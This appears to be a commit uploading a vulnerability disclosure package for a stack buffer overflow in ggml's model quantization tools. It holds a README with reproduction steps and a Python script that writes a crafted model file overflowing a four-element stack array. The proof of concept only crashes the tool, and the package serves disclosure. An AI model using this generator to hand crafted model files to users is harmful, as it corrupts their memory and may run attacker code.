Upload 4 files

Stack Buffer Overflow via Unbounded n_dims in Model Quantization (CWE-121)

.gitattributes

@@ -33,3 +33,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
 *.zip filter=lfs diff=lfs merge=lfs -text
 *.zst filter=lfs diff=lfs merge=lfs -text
 *tfevents* filter=lfs diff=lfs merge=lfs -text
+PoC[[:space:]]Proof[[:space:]]—[[:space:]]GGML[[:space:]]Stack[[:space:]]Buffer[[:space:]]Overflow[[:space:]]in[[:space:]]Model[[:space:]]Quantization[[:space:]](CWE-121).pdf filter=lfs diff=lfs merge=lfs -text

PoC Proof — GGML Stack Buffer Overflow in Model Quantization (CWE-121).pdf

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:cbf1adec1a06cd821676dfe279501b52c518254cfbd15fd77befeb035089a178
+size 345147

README.md

@@ -0,0 +1,44 @@
+# GGML common-ggml.cpp — Stack Buffer Overflow (CWE-121)
+
+A crafted 255-byte model file causes a stack buffer overflow in `gpt-2-quantize` / `gpt-j-quantize` with attacker-controlled data, enabling potential code execution.
+
+## Vulnerability
+
+**File:** `examples/common-ggml.cpp:113-116` in `ggml_common_quantize_0()`
+**Root Cause:** `n_dims` is read from the model file with no bounds check, then used to index `int32_t ne[4]`. Setting `n_dims > 4` writes attacker-controlled data past the 16-byte stack array.
+
+## Reproduction
+
+```bash
+# Generate the malicious model file
+python3 gen_stack_overflow_v2.py
+
+# Build ggml with AddressSanitizer
+git clone https://github.com/ggerganov/ggml && cd ggml
+mkdir build && cd build
+cmake .. -DCMAKE_BUILD_TYPE=Debug \
+  -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \
+  -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \
+  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
+  -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address"
+make -j4 gpt-2-quantize
+
+# Trigger crash
+./bin/gpt-2-quantize malicious_gpt2_v2.bin output.bin q4_0
+# Result: Segmentation fault (without ASan) / ASan: stack-buffer-overflow (with ASan)
+```
+
+## Files
+
+| File | Description |
+|---|---|
+| `malicious_gpt2_v2.bin` | 255-byte malicious GPT-2 model file (n_dims=32) |
+| `gen_stack_overflow_v2.py` | Python generator script |
+
+## Impact
+
+Stack buffer overflow with attacker-controlled data. Overwrites saved registers, return address, and adjacent stack variables in `ggml_common_quantize_0()`. Potential for arbitrary code execution when a user quantizes a malicious model file.
+
+## Tested Version
+
+ggml 0.11.0 (commit ac6f7b44f60fde0091f0b3d99afde48f8c99b13a)

gen_stack_overflow_v2.py

@@ -0,0 +1,47 @@
+import struct
+
+def write_malicious_gpt2_model(path):
+    buf = bytearray()
+    
+    # Magic: GGML_FILE_MAGIC
+    buf += struct.pack('<I', 0x67676d6c)
+    
+    # Hyperparameters
+    n_vocab = 2  # minimal vocab
+    buf += struct.pack('<i', n_vocab)   # n_vocab (in hparams)
+    buf += struct.pack('<i', 1024)      # n_ctx
+    buf += struct.pack('<i', 768)       # n_embd
+    buf += struct.pack('<i', 12)        # n_head
+    buf += struct.pack('<i', 12)        # n_layer
+    buf += struct.pack('<i', 1)         # ftype
+    
+    # Vocab section starts with n_vocab again
+    buf += struct.pack('<i', n_vocab)
+    
+    # Vocab entries (minimal)
+    for i in range(n_vocab):
+        word = f't{i}'.encode()
+        buf += struct.pack('<I', len(word))
+        buf += word
+    
+    # Tensor: n_dims=32 triggers stack overflow in ne[4]
+    n_dims = 32
+    buf += struct.pack('<i', n_dims)
+    
+    tensor_name = b'weights'
+    buf += struct.pack('<i', len(tensor_name))
+    buf += struct.pack('<i', 0)  # ttype = F32
+    
+    # Dimensions - first 4 go into ne[4], rest overflow stack
+    for i in range(n_dims):
+        buf += struct.pack('<i', 0x41414141 if i >= 4 else 1)
+    
+    buf += tensor_name
+    # Some dummy tensor data
+    buf += b'\x00' * 64
+    
+    with open(path, 'wb') as f:
+        f.write(buf)
+    print(f'Written {len(buf)} bytes to {path}')
+
+write_malicious_gpt2_model('/tmp/ggml-poc/malicious_gpt2_v2.bin')

malicious_gpt2_v2.bin

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:69610a4e1648eab6af2267e089c07e23adb42cceba5833c61565e0e1e1eca5dd
+size 255